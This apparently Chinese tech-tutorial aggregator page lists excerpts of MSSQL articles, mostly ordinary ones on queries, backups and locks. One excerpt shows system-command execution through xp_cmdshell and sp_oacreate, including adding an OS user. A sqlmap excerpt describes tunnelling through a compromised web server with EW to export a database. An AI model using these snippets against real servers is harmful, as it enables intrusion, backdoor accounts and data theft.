MSSQL - 技术教程文章

MSSQL将多行单列变一行一列并用指定分隔符分隔,模拟Mysql中的group_concat【代码】【图】

-- 将多行记录(只能一个列)用指定分隔符分隔IF(OBJECT_ID(‘sp_RowsChangeClosBySplit‘,N‘P‘) ISNOTNULL)DROPPROC sp_RowsChangeClosBySplit GOCREATEPROC sp_RowsChangeClosBySplit @tablenvarchar(50), -- 表名@fieldnvarchar(50), -- 要拼接的字段@splitvarchar(10)=‘,‘, -- 分隔符@wherenvarchar(500)=‘‘-- 条件ASBEGINDECLARE@sqlNVARCHAR(1000) SET@sql=‘select TOP 1 stuff((se...

[MSSQL]结果集直接运算【代码】【图】

实际工作中经常碰到占比,比如XX部门超领金额占总金额的占比,离职人员占总人数占比等等。一直都是存取变量,计算结果。 今天尝试了下结果集直接进行四则运算 -- ============================================= -- Author: <David Gong> -- Create date: <2015-9-23> -- Description: <材料溢领分析> -- ============================================= alter Proc [dbo].[UP_Excess_Material] (@yearaschar(4) ) asbegi...

与MSSQL对比学习MYSQL的心得(一)--基本语法

这一期主要是学习MYSQL的基本语法,陆续还会有续期的文章,敬请期待语法的差异我这里主要说语法的不同1、默认约束区别:mysql里面DEFAULT关键字后面是不用加括号的复制代码 代码如下:--sqlserverCREATE TABLE emp(id INT DEFAULT(12))--mysqlCREATE TABLE emp(id INT DEFAULT 12)2、设置自增列区别很大,不过好像mysql的自增列不能设置步长的MYSQL的自增列一定也要是主键列,不是主键列会报错,设置种子值要在表的后面设置复制代码...

MSSQL通用还原脚本【图】

MSSQL还原脚本SQL Server通用还原脚本,只需修改第二步中,需要还原的数据库名称和路径执行完脚本后会生成对应的还原命令,直接新建查询后执行即可650) this.width=650;" src="/upload/getfiles/default/2022/11/9/20221109034053298.jpg" title="QQ图片20160923154733.png" />-- 2 - Initialize variables SET @dbName = ‘Customer‘ SET @backupPath = ‘D:\SQLBackups\‘脚本如下:--open-- xp_cmdshellsp_configure ‘show ad...

(转)史上最全的MSSQL复习笔记【代码】【图】

1.什么是SQL语句sql语言:结构化的查询语言。(Structured Query Language),是关系数据库管理系统的标准语言。它是一种解释语言:写一句执行一句,不需要整体编译执行。语法特点:1.没有“ ”,字符串使用‘ ’包含2.没有逻辑相等,赋值和逻辑相等都是=3.类型不再是最严格的。任何数据都可以包含在‘ ’以内4.没有bool值的概念,但是在视图中可以输入true/false5.它也有关系运算符:> < >= <= = <> != ,它返回...

在linux下有没有什么软件可以连接windows上的MSSQL SERVER

在linux下有没有什么软件可以连接windows上的MSSQL SERVERGUI的http://dbeaver.jkiss.org/http://bbs.csdn.net/topics/391014331https://github.com/serge-rider/dbeaverhttps://github.com/serge-rider?tab=repositories在Linux(UNIX)下连接MS SQLserver的方法http://blog.csdn.net/ugg/article/details/1062907Linux环境下通过ODBC访问MSSql Serverhttp://www.cnblogs.com/ratzhou/p/4847339.htmllinux下用tsql连接mssql数据库...

MSSQL Server 数据库备份还原常用SQL语句及注意【代码】

1.备份数据库backup database db_name to disk=‘d:\db_name.bak‘ with format--通过使用with format可以做到覆盖任何现有的备份和创建一个新的媒体集。--可以避免一些由于备份设置产生的错误.--帮助文档上的解释:--format指定应将媒体头写入用于此备份操作的所有卷。--任何现有的媒体头都被重写。format选项使整个媒体内容无效,--并且忽略任何现有的内容。2.备份日志backup log log_name to disk=‘d:\log_name.log‘ with nor...

sqlmap从入门到精通-第四章-4-7 使用EW代理导出和导入MSSQL数据【图】

4.7 使用EW代理导出和导入MSSQL数据一般的场景就是目标站点获取了webshell,然后数据库的IP地址不在目标站的本地,而且做了精准的访问控制,只允许目标站点的IP地址才能访问数据库,那么这个场景就适合通过代理的方式导出和导入了4.7.1 设置代理1. 在独立的公网IP执行命令命令如下:ew -s rcsocks -l 1080 -e 3389 上面的3389端口是独立公网IP地址监听的端口,1080是代理端口2. 在被控制服务器上执行命令命令如下:ew -s rssocks ...

MSSQL 高级查询【代码】

连接类型: 有五种,CROSS JOIN 交叉连接,INNER JOIN 内连接,LEFT JOIN 或者 LEFT OUTER JOIN 左外连接,RIGHT JOIN 或RIGHT OUTER JOIN 右外连接,FULL JOIN 或FULL OUTER JOIN 1、交叉连接 两个表的交叉连接是两个表进行广义笛卡儿积运算。返回的结果数据的行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。例如,在“图书”表中有8条记录,在出版社中有5条记录,那么使用交叉连接得到...

TOleDBMSSQLConnectionProperties驱动MSSQL数据库

TOleDBMSSQLConnectionProperties驱动MSSQL数据库为了让MORMOT可以驱动所有版本的MSSQL,需要改用SQLOLEDB,因为所有的WINDOWS操作系统里面都提供了SQLOLEDB。MORMOT1.18以上版本需要改SynOleDB.pas源码:procedure TOleDBMSSQLConnectionProperties.SetInternalProperties;begin OnCustomError := MSOnCustomError; if fProviderName=‘‘ then // fProviderName := ‘SQLNCLI10‘; // 注释此行 by cxg fProviderName := ...

mssql使用总结【代码】

重设密码 exec sp_password null,‘新密码‘,‘sa‘执行系统命令(1)exec xp_cmdshell ‘要执行的命令‘(2)declare @shell int exec sp_oacreate ‘wscript.shell‘,@shell out exec sp_oamethod @shell ,‘run‘,null,‘要执行的系统命令‘ exec sp_oamethod @shell ,‘run‘,null,‘c:\windows\system32\cmd.exe /c net user kkk zzz /add‘ exec sp_oamethod @shell ,‘run‘,null,‘c:\windows\system32\cmd.exe /c net loca...

MSSqlserver的锁模式介绍【代码】【图】

一 SQL Server 锁类型的说明在SQL Server数据库中加锁时,除了可以对不同的资源加锁,还可以使用不同程度的加锁方式,即有多种模式,SQL Server中锁模式包括:1.共享锁(S) 共享锁用于所以的制度数据操作。共享锁是非独占的,允许多个并发事务读取其锁定的资源。默认情况下,数据被读取后,SQL Server立刻释放共享锁。  例如: 执行查询"SELECT * FROM dbo.Customer"时,首先锁定第一页,读取之后,释放对第一页的锁定,然后锁定第...

MSSQL 获取数据库字段类型【代码】

1SELECT 2 col.name AS 列名,3 typ.name as 数据类型,4 col.max_length AS 占用字节数,5 col.precisionAS 数字长度,6 col.scale AS 小数位数,7 col.is_nullable AS 是否允许非空,8 col.is_identity AS 是否自增,9casewhenexists10 ( SELECT111FROM12 sys.indexes idx 13join sys.index_columns idxCol 14on (idx.object_id= idxCol.object_id) 15WHERE16 idx.object_id= col....

go 连接mssql【代码】

go 连接mssqlpackage mainimport ("database/sql""fmt""log"_ "github.com/denisenkom/go-mssqldb" )func main() {connectString := "server=127.0.0.1;database=yndb;user id=sa;password=sql;port=8829;encrypt=disable"println("Connection string=", connectString)db, err := sql.Open("mssql", connectString)defer db.Close()println("Open Error:", err)if err != nil {log.Fatal(err)}// 执行SQL语句rows, err := db.Quer...

野路子出身PowerShell 文件操作实用功能 MSSQL123

因工作需要,处理一批文件,本想写C#来处理的,后来想想这个是PowerShell的天职,   索性就网上各种搜,各种Demo,各种修改,花了半天时间,最后还是拼凑出来能达到效果了。   本身对PowerShell并不熟悉,可能有些弯路,实现的也比较烂,总之是把各种小功能拼凑在一起,最后还是拼凑出来能达到效果了。   如下是原始Demo,比较幼稚,权当是自己记录的笔记了   1,文件信息统计   如下文件夹下面有六个文本文件,统计这个...

mssql锁表、查询被锁表、解锁被锁表的相关语句【代码】

MSSQL(SQL Server)在我的印象中很容易锁表,大致原因就是你在一个窗口中执行的DML语句没有提交,然后又打开了一个窗口对相同的表进行CRUD操作,这样就会导致锁表。锁表是一种保持数据一致性的措施。下面是锁表、查询被锁表、解锁被锁表的相关语句。-- 锁表(其它事务不能读、更新、删除)BEGINTRANSELECT*FROM<表名>WITH(TABLOCKX); WAITFOR delay ‘00:00:20‘COMMITTRAN-- 锁表(其它事务只能读,不能更新、删除)BEGINTRANSEL...

jmeter之连接mysql和SQL Server配置【图】

下载jdbc驱动在使用jmeter做性能或自动化测试的时候,往往需要直接对数据库施加压力,或者某些参数只能从数据库获取,这时候就必须使用jmeter连接数据库。1.下载对应的驱动包mysql驱动:(mysql-connector-java-5.1.13-bin.jar 可能现在有跟新的版本了),并放到Jmeter目录中的lib文件下,复制之后,重启jmeter链接:http://download.csdn.net/source/3451945 sqlServer驱动:sqljdbc4.jar,一样都需要放到Jmeter目录中的lib文件下...

MySQL server has gone away报错原因分析/【代码】

在平时和开发的交流 以及 在论坛回答问题的或称中会发现这个问题被问及的频率非常高。程序中报错: MySQL server has gone away 是什么意思? 如何避免?因此,感觉有必要总结一下发生这个问题的原因。今天正好看到一篇外文blog总结的比较好,就翻译过来了原文:http://ronaldbradford.com/blog/sqlstatehy000-general-error-2006-mysql-server-has-gone-away-2013-01-02/ 原因1. MySQL 服务宕了判断是否属于这个原因的方法很简单,...

[翻译]初识SQL Server 2005 Reporting Services Part 2【图】

原文:[翻译]初识SQL Server 2005 Reporting Services Part 2  在Part 1文章中我们对SQL Server Reporting Services 2005(SSRS)有了一个初步的了解。我们分别通过报表向导和报表设计器构建了两个报表。在Part 2我们将以一个SSRS开发者的身份深入查看更多特征信息。  以下是我们要研究的:  l 表达式的用法。这些表达式可以让你动态的控制从控件属性到数据绑定的报表的各个方面。  l 报表中用到的计算和操作的通用函数。 ...

SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问的解决方案【代码】【图】

今天写了一个excel表的导入功能,结果在excel表中的内容导入到页面时报错:SQL Server 阻止了对组件 ‘Ad Hoc Distributed Queries‘ 的 STATEMENT‘OpenRowset/OpenDatasource‘ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ad Hoc Distributed Queries‘。有关启用 ‘Ad Hoc Distributed Queries‘ 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器...

【整理】更改MSSQL默认字符集

记录所有应用到 SQL Server 实例和当前排序规则的 Service Pack 和修补程序:SELECT SERVERPROPERTY(‘ProductVersion ‘) AS ProductVersion, SERVERPROPERTY(‘ProductLevel‘) AS ProductLevel, SERVERPROPERTY(‘ResourceVersion‘) AS ResourceVersion, SERVERPROPERTY(‘ResourceLastUpdateDateTime‘) AS ResourceLastUpdateDateTime, SERVERPROPERTY(‘Collation‘) AS Collation; 记录系统数据库的所有数据文件和日志文件的...

SqlServer mssql 按月统计所有部门

以订单统计为例,前端展示柱状图(Jquery统计):表及主要字段描述如下;表名:Orders1.日期CreateTime2.金额Amount3.用户UserID情况一:根据部门统计某一年每月销量(查询一个部门月统计)1)直接在SQL语句中判断每月信息,好处,前台直接调用;坏处,性能不高。SQL语句:SELECT SUM(CASE WHEN MONTH(s.CreateTime) = 1 THEN s.Amount ELSE 0 END) AS ‘一月‘,SUM(CASE WHEN MONTH(s.CreateTime) = 2 THEN s.Amount ELSE 0 END) A...

以CTE表达式实现MSSQL的字符串分割函数

ALTER FUNCTION [dbo].[Split] (@sep varchar(2), @s varchar(512))RETURNS tableASRETURN ( WITH Pieces(pn, start, stop) AS ( SELECT 1, 1, CHARINDEX(@sep, @s) UNION ALL SELECT pn + 1, stop + 1, CHARINDEX(@sep, @s, stop + 1) FROM Pieces WHERE stop > 0 ) SELECT pn, SUBSTRING(@s, start, CASE WHEN stop > 0 THEN stop-start ELSE 512 END) AS s FROM Pieces )原文:...

MSSQL数据加密解密代码

可以查看: 复制代码 代码如下:OPEN SYMMETRIC KEY 命令关于 对称密钥加密使用证书解密 CREATE MASTER KEY ENCRYPTION BY PASSWORD = ‘password‘ go CREATE CERTIFICATE CertTest with SUBJECT = ‘Test Certificate‘ GO --创建非对称密钥 CREATE ASYMMETRIC KEY TestAsymmetric WITH ALGORITHM = RSA_2048 ENCRYPTION BY PASSWORD = ‘password1‘ ; GO ALTER ASYMMETRIC KEY TestAsymmetric WITH PRIVATE KEY (DECRYPTION BY ...

SQL SERVER 比较两个数据库中表和字段的差异【代码】

在开发过程中线上的数据库表字段和本地数据库表字段是存在的,也许我们在本地数据库中所增加的表字段都会有记录到SQL文件中,但当增加的表及字段名称较多时总会出现漏网之鱼,发布真是版本的时候回出现很多很多的问题,那么如何在发布新的版本时保证线上数据库与本地数据库中的表字段都是统一的了,下面我说一个比较笨的方法去保证两个数据库无差异。1、将线上的数据库架构生成成为SQL,操作如下: 选择中某线上数据库 → 任务 → ...

MSSQL 补丁下载

2005 SP4 Microsoft SQL Server 2005 Service Pack 4 RTM 2008 SP4 SQL Server 2008 Service Pack 4原文:http://gnlgnl.blog.51cto.com/2786498/1599145

MSSQL大全【代码】【图】

原文地址:http://www.cnblogs.com/gameworld/p/4790881.html#_label01.什么是SQL语句2.使用sql语句创建数据库和表3.创建数据表4.数据完整性约束5.四中基本字符类型说明6.SQL基本语句7.类型转换函数8.日期函数9.数学函数10.字符串函数11.联合结果集union12.CASE函数用法13.IF ELSE语法14.WHILE循环语法15.子查询16.表连接Join17.事务18.视图19.触发器20.存储过程21.分页存储过程22.索引23.临时表回到顶部1.什么是SQL语句sql语言:结...

今天开始我的 MSSQLSERVER 之旅

因为本人爱好自学,所以就从零基础自学了SQL SERVER 也是在3WSCHOOL上学习的,内容同步3WSCHOO的内容,也相当于自己的一遍复习吧!!!就从最简的开始:数据库:什么是数据库?? 答:数据库通常是由一个表或多个表组成的,并且每个表都有自己的标识(例如:客户订单表,商品表等等),并且表里包含多条记录,这是的记录也就是我们所说的行.下面的例子是一个名为‘‘persons‘‘表IdLastnameFirstNameAddressCity1AdamsJohnOxford StreetLon...

重新安装Sql Server 2012 报错【图】

在同一台电脑上重新安装Sql Server,出现一些问题,归纳一下1,"Reporting Services Catalog Database file Existence" failed错误原因是:Reporting Service Catalog Database File是SSRS的database 文件, 已经存在于安装目录中,解决方法是:删除安装目录中跟Reporting service 相关的四个文件 原文:http://www.cnblogs.com/ljhdo/p/4535301.html

2_01_MSSQL课程_查询02

1.where 条件过滤  常见的表达式过滤:比如: select * from 表 where Id>10;  多条件过滤: and or not (优先级:not > and > or)  区间过滤:between and 和 in  模糊查询    like 查询语法    针对字符产查询的通配符: % _ []    特殊字符转义。 ‘’ 和[  空值处理:    列=null的结果    is null 和 is not null(排序Order by 默认是asc)数据进行分组:Group byhaving 过滤原文:https:...